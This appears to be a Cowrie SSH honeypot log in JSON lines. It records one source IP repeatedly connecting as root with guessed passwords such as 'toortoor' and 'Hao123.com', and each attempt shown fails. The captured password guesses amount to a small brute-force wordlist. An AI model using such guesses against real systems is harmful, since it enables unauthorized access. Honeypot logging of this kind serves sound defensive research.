{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:07.151077Z","src_ip":"60.165.124.241","session":"7df11b6ba2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"HW123hw123","message":"login attempt [root/HW123hw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:08.635975Z","src_ip":"60.165.124.241","session":"7df11b6ba2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:09.895904Z","src_ip":"60.165.124.241","session":"7df11b6ba2ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49300,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7883d7b55ca","protocol":"ssh","message":"New connection: 60.165.124.241:49300 (10.17.0.5:22) [session: b7883d7b55ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:12.209203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:12.213581Z","src_ip":"60.165.124.241","session":"b7883d7b55ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:12.493125Z","src_ip":"60.165.124.241","session":"b7883d7b55ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mega123","message":"login attempt [root/mega123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:14.117187Z","src_ip":"60.165.124.241","session":"b7883d7b55ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:15.396950Z","src_ip":"60.165.124.241","session":"b7883d7b55ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55768,"dst_ip":"10.17.0.5","dst_port":22,"session":"56bc87298290","protocol":"ssh","message":"New connection: 60.165.124.241:55768 (10.17.0.5:22) [session: 56bc87298290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:15.650645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:15.655869Z","src_ip":"60.165.124.241","session":"56bc87298290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:15.921279Z","src_ip":"60.165.124.241","session":"56bc87298290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345689","message":"login attempt [root/12345689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:17.470948Z","src_ip":"60.165.124.241","session":"56bc87298290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:18.727916Z","src_ip":"60.165.124.241","session":"56bc87298290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59382,"dst_ip":"10.17.0.5","dst_port":22,"session":"b73156dc98a7","protocol":"ssh","message":"New connection: 60.165.124.241:59382 (10.17.0.5:22) [session: b73156dc98a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:18.950941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:18.956073Z","src_ip":"60.165.124.241","session":"b73156dc98a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:19.194167Z","src_ip":"60.165.124.241","session":"b73156dc98a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toortoor","message":"login attempt [root/toortoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:19.915717Z","src_ip":"60.165.124.241","session":"b73156dc98a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:21.157722Z","src_ip":"60.165.124.241","session":"b73156dc98a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34182,"dst_ip":"10.17.0.5","dst_port":22,"session":"31938b9468ab","protocol":"ssh","message":"New connection: 60.165.124.241:34182 (10.17.0.5:22) [session: 31938b9468ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:21.389864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:21.395541Z","src_ip":"60.165.124.241","session":"31938b9468ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:21.633779Z","src_ip":"60.165.124.241","session":"31938b9468ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ft123456","message":"login attempt [root/Ft123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:22.356969Z","src_ip":"60.165.124.241","session":"31938b9468ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:23.600280Z","src_ip":"60.165.124.241","session":"31938b9468ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36940,"dst_ip":"10.17.0.5","dst_port":22,"session":"162a43e4b729","protocol":"ssh","message":"New connection: 60.165.124.241:36940 (10.17.0.5:22) [session: 162a43e4b729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:23.849535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:23.854815Z","src_ip":"60.165.124.241","session":"162a43e4b729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:24.094777Z","src_ip":"60.165.124.241","session":"162a43e4b729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makelove","message":"login attempt [root/makelove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:24.827561Z","src_ip":"60.165.124.241","session":"162a43e4b729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:26.071732Z","src_ip":"60.165.124.241","session":"162a43e4b729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39950,"dst_ip":"10.17.0.5","dst_port":22,"session":"2022361cc010","protocol":"ssh","message":"New connection: 60.165.124.241:39950 (10.17.0.5:22) [session: 2022361cc010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:26.306515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:26.311260Z","src_ip":"60.165.124.241","session":"2022361cc010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:26.552091Z","src_ip":"60.165.124.241","session":"2022361cc010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx$RFV6yhn","message":"login attempt [root/2wsx$RFV6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:27.309937Z","src_ip":"60.165.124.241","session":"2022361cc010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:28.549972Z","src_ip":"60.165.124.241","session":"2022361cc010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42920,"dst_ip":"10.17.0.5","dst_port":22,"session":"de0ec4598be3","protocol":"ssh","message":"New connection: 60.165.124.241:42920 (10.17.0.5:22) [session: de0ec4598be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:28.784993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:28.788994Z","src_ip":"60.165.124.241","session":"de0ec4598be3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:29.027917Z","src_ip":"60.165.124.241","session":"de0ec4598be3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hao123.com","message":"login attempt [root/Hao123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:29.758988Z","src_ip":"60.165.124.241","session":"de0ec4598be3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:31.010549Z","src_ip":"60.165.124.241","session":"de0ec4598be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45804,"dst_ip":"10.17.0.5","dst_port":22,"session":"e85df73a6839","protocol":"ssh","message":"New connection: 60.165.124.241:45804 (10.17.0.5:22) [session: e85df73a6839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:31.249404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:31.254312Z","src_ip":"60.165.124.241","session":"e85df73a6839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:31.494303Z","src_ip":"60.165.124.241","session":"e85df73a6839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567.","message":"login attempt [root/Aa1234567.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:32.220047Z","src_ip":"60.165.124.241","session":"e85df73a6839","protocol":"ssh"}
